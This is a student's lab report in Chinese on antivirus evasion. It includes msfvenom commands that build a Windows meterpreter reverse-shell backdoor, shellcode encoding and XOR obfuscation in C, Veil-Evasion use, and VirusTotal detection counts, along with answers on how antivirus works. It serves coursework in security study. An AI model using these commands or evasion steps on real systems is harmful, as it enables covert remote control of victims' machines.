Exp3 免杀原理与实践
20154331EXP3 免杀原理与实践
- 实验测试
- 基础问题回答
- 实验总结
一、实验测试
1、原始版本
将上次实验生成的后门程序拷贝到win主机中,电脑管家发现可疑。
将它放在https://www.virustotal.com/上进行扫描后发现52个报警。可怕。
接下来对它进行改装。
2、编码版本
编码部分我进行了一次编码,结果和上次没什么区别。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.116.129 LPORT=4331 -f exe > 4331houmen.exe
3、veil-evasion版本
安装veil的步骤我就不说了,apt-get install veil-evasion.
一步一步来就好了。
list:
use 1:
然后我在这么多payloads中选了c语言中的一个,我选的8.
寻找的方法:
其他位置--->计算机--var-->lib-->veil-->output-->complied-->....exe。
找到以后再把它托到win主机中用https://www.virustotal.com/进行扫描,咦!可以可以少了好多。
但是还是被管家无情的拦截了...
4、使用C语言调用Shellcode
使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.116.129 LPORT=4331 -f c ,这里使用kali的ip生成一个c语言格式的shellcode数组。
然后将shellcode字符串复制下来,在win主机写一个C语言程序,我用的是vc编译运行。
完全可以运行,而且我的电脑也没有拦截,是不是成功了???
我用电脑管家扫描它,还是被拦截了(这里我忘记截图了,反正还是拦截了奇怪。)24
然后我把这个代码生成的病毒文件用https://www.virustotal.com/扫描,结果你猜....
居然还是有24个报毒...但是比上一个veil又少了一些。
5、c语言升级版
我们把上一个c语言的程序稍微改一下,看看能不能做到免杀。
把原来的每个特征码和31异或,然后特征码就和原来的不一样了,最后再在主函数里和 31异或。源代码老师说不要弄到报告中,这里就不截图了
最后这个c程序生成了一个我取名为2的文件。再将它拿去扫描一下,嗯....还是有毒,但是又少了一些。
但是运行的时候还是被电脑管家查出来了,无语.....
可能我的电脑管家是基于行为的检测???
二、基础问题回答
(1)杀软是如何检测出恶意代码的?
1、杀毒软件可以靠特征码进行查杀,匹配到即为病毒。
2、启发式恶意代码的检测:还有通过云查杀,查看云端库中该文件是否属于恶意代码。
3、基于行为的检测:跟踪该程序运行起来是否存在恶意行为,来判断是否属于恶意代码。
(2)免杀是做什么?
使恶意软件不被杀毒软件检测出来,让杀毒软件查杀不出来有问题的程序。
(3)免杀的基本方法有哪些?
通过改变特征码来躲避杀毒软件的匹配。
自己手动编写一个恶意代码,因为杀毒软件查的共性,而不是个性。
改变行为,减少敏感行为的使用等。
三、实验总结:
这是我的第三次网络对抗的实验,越来越觉得网络这个东西还是挺可怕的,也感叹黑客们的脑子真好用,这次的免杀实验让我意识到了杀毒软件只能起到预防的作用,更重要的是不要手贱乱点!!! 实现了从最早的52到32到24再到18的突破哈哈哈。